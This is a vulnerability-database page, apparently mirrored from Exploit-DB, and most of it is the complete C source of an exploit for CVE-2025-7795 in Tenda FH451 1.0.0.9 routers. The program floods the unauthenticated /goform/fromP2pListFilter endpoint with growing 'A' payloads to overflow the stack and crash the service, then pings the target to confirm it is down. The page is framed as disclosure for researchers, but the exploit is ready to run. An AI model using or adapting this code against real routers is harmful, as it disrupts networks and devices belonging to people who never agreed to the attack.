Lucene search
K

Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow

🗓️ 22 Jul 2025 00:00:00Reported by Byte ReaperType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 253 Views

Buffer overflow in Tenda FH451 routers via unauthenticated POST request can crash service.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-7795
18 Jul 202519:10
circl
CNNVD
Tenda FH451 安全漏洞
18 Jul 202500:00
cnnvd
CNVD
Tenda FH451 formP2pListFilter function buffer overflow vulnerability
25 Jul 202500:00
cnvd
CVE
CVE-2025-7795
18 Jul 202517:14
cve
Cvelist
CVE-2025-7795 Tenda FH451 P2pListFilter fromP2pListFilter stack-based overflow
18 Jul 202517:14
cvelist
GithubExploit
Exploit for Stack-based Buffer Overflow in Tenda Fh451_Firmware
19 Jul 202513:47
githubexploit
EUVD
EUVD-2025-21917
3 Oct 202520:07
euvd
NVD
CVE-2025-7795
18 Jul 202518:15
nvd
OSV
CVE-2025-7795
18 Jul 202518:15
osv
Packet Storm
📄 Tenda FH451 1.0.0.9 Buffer Overflow
22 Jul 202500:00
packetstorm
Rows per page
/*
 * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
 * Author        : Byte Reaper
 * Telegram      : @ByteReaper0
 * CVE           : CVE-2025-7795
 * Vulnerability : Buffer Overflow
 * Description   :
 *   A buffer overflow vulnerability affecting certain Tenda routers,
 *   exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "argparse.h"
#include <arpa/inet.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <sys/wait.h>

#define FULL_URL 2500
#define POST_DATA 10000

const char *targetUrl = NULL;
const char *targetip = NULL;
int selectIp  = 0;
int selectUrl  = 0;
int verbose = 0;
int showOne = 0;
char postData[POST_DATA];

struct Mem
{
    char *buffer;
    size_t len;
};

size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (!tmp) return 0;
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

void pingPacket()
{
    int pid = fork();
    printf("\n============================================== [Ping] ==============================================\n");
    if (pid < 0)
    {
        perror("\e[1;31m[-] Fork Failed!\e[0m");
        exit(1);
    }
    if (pid == 0)
    {
        printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
               getpid());
        char *const argv[] = { "/bin/ping",
            "-c",
            "3",
            (char *)targetip,
            NULL };
            char *const envp[] = { NULL };
            __asm__ volatile
            (
                "mov $59, %%rax\n\t"
                "mov %[prog], %%rdi\n\t"
                "mov %[argv], %%rsi\n\t"
                "mov %[envp], %%rdx\n\t"
                "syscall\n\t"
                "mov $60, %%rax\n\t"
                "xor %%rdi, %%rdi\n\t"
                "syscall\n\t"
                :
                : [prog] "r" (argv[0]),
             [argv] "r" (argv),
             [envp] "r" (envp)
             : "rax", "rdi", "rsi", "rdx"
            );
    }
    else
    {
        printf("\e[1;32m[+] Main PID : %d\e[0m\n",
               getpid());
        int status;
        waitpid(pid,
                &status,
                0);
        if (WIFEXITED(status))
        {
            int code = WEXITSTATUS(status);
            printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
                   code);
            if (code == 0)
            {
                printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
                printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
            }
            else
            {
                printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
                printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
            }
        }
    }
    printf("\n============================================================================================\e[0m\n");
}

void sendRequest()
{
    CURL *c = curl_easy_init();
    CURLcode res;
    char full[FULL_URL];
    struct Mem response = {NULL, 0};
    if (!c) {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        exit(EXIT_FAILURE);
    }
    if (targetip) selectIp = 1;
    if (targetUrl) selectUrl = 1;
    if (selectIp)
    {
        snprintf(full,
                 sizeof(full),
                 "http://%s/goform/fromP2pListFilter",
                 targetip);
    }
    if (selectUrl)
    {
        snprintf(full,
                 sizeof(full),
                 "%s/goform/fromP2pListFilter",
                 targetUrl);
    }
    int rounds = 5;
    int baseLen = 3500, step = 1000;
    showOne = 1;
    for (int i = 0; i < rounds; i++)
    {
        int len = baseLen + i * step;
        if (len + 6 >= sizeof(postData)) break;
        snprintf(postData, sizeof(postData), "list=");
        memset(postData + 5, 'A', len);
        postData[5 + len] = '\0';
        printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
               i+1,
               i+1,
               len);
        if (verbose)
        {
            printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
            printf("%s\e[0m\n\n", postData);
            printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
        }

        curl_easy_reset(c);
        curl_easy_setopt(c,
                         CURLOPT_URL,
                         full);
        curl_easy_setopt(c,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
        curl_easy_setopt(c,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        curl_easy_setopt(c,
                         CURLOPT_POST,
                         1L);
        curl_easy_setopt(c,
                         CURLOPT_POSTFIELDS,
                         postData);
        curl_easy_setopt(c,
                         CURLOPT_POSTFIELDSIZE,
                         (long)strlen(postData));
        curl_easy_setopt(c,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        curl_easy_setopt(c,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(c,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(c,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(c,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(c,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        struct curl_slist *h = NULL;
        h = curl_slist_append(h,
                              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        h = curl_slist_append(h,
                              "Accept-Encoding: gzip, deflate, br");
        h = curl_slist_append(h,
                              "Accept-Language: en-US,en;q=0.5");
        h = curl_slist_append(h,
                              "Connection: keep-alive");
        h = curl_slist_append(h,
                              "Referer: http://example.com");
        h = curl_slist_append(h,
                              "Cache-Control: no-cache");
        h = curl_slist_append(h,
                              "Pragma: no-cache");
        curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);
        if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);

        char *encode1 = curl_easy_escape(c, full, 0);
        if (!encode1)
        {
            printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n");
            exit(EXIT_FAILURE);
        }
        if (verbose && showOne)
        {
            printf("\e[1;37m=========================================");
            if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n",
                targetUrl,
                encode1,
                full);
            if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n",
                targetip,
                full);
            printf("=========================================");
            showOne = 0;
        }
        res = curl_easy_perform(c);
        curl_slist_free_all(h);
        curl_free(encode1);
        if (response.buffer)
        {
            free(response.buffer);
            response.buffer = NULL;
            response.len = 0;
        }
        if (res == CURLE_OK)
        {
            long httpCode = 0;
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,
                              &httpCode);
            printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n",
                   httpCode);
            if (httpCode >= 200 && httpCode < 300)
            {
                printf("\e[1;31m[-] The server was not affected, still working !\n");
                printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n");
                printf("%s\e[0m\n",
                       response.buffer);
                printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n");
            }
            else
            {
                printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n");
                printf("[+] Run Command Ping For Check Connection : \e[0m\n");
                if (selectIp) pingPacket();
                else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n");
            }
        }
        else
        {
            printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n");
            printf("[-] Error : %s\n", curl_easy_strerror(res));
        }
    }
    free(response.buffer);
    curl_easy_cleanup(c);
}

int main(int argc,
         const char **argv)
{
    printf(
        "\e[1;31m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖ \n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌   ▌ ▌▄▌▄▌ \n"
        "              \e[1;37mByte Reaper\e[0m\n"
    );
    printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
    if (getuid() != 0)
    {
        printf("===================================================\e[0m\n");
        printf("[-] Not running as root. Trying with sudo...\e[0m\n");

        char *args[] = {(char*)"sudo",
            (char*)"./exploit",
            NULL};
            execvp("sudo", args);

            perror("[-] Error Run Exploit in Root !");
            __asm__ volatile
            (
                "mov $0x3C, %%rax\n\t"
                "xor %%rdi, %%rdi\n\t"
                "syscall\n\t"
                :
                :
                : "rdi"
            );
    }
    printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n");
    printf("===================================================\e[0m\n");

    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                  "ip",
                   &targetip,
                   "Enter Target IP"),
        OPT_STRING('u',
                    "url",
                    &targetUrl,
                    "Enter Target URL"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_END(),
    };

    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);
    argparse_parse(&argparse,
                   argc,
                   argv);

    if (!targetip && !targetUrl)
    {
        printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n");
        printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n");
        printf("[+] OR \n");
        printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n");
        __asm__ volatile(
            "xor %%rdi, %%rdi\n\t"
            "mov $0x3C, %%rax\n\t"
            "1:\n\t"
            "syscall\n\t"
            :
            :
            : "rax", "rdi", "rsi"
        );
    }
    if (targetip && targetUrl)
    {
        printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n");
        __asm__ volatile
        (
            "mov $0x3C, %%rax\n\t"
            "xor %%rdi, %%rdi\n\t"
            "syscall\n\t"
            :
            :
            :"rdi"
        );
    }
    if (selectIp)
    {
        sendRequest();
    }
    else
    {
        sendRequest();
    }


    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jul 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 48.7
CVSS 3.18.8
CVSS 29
CVSS 38.8
EPSS0.18164
SSVC
253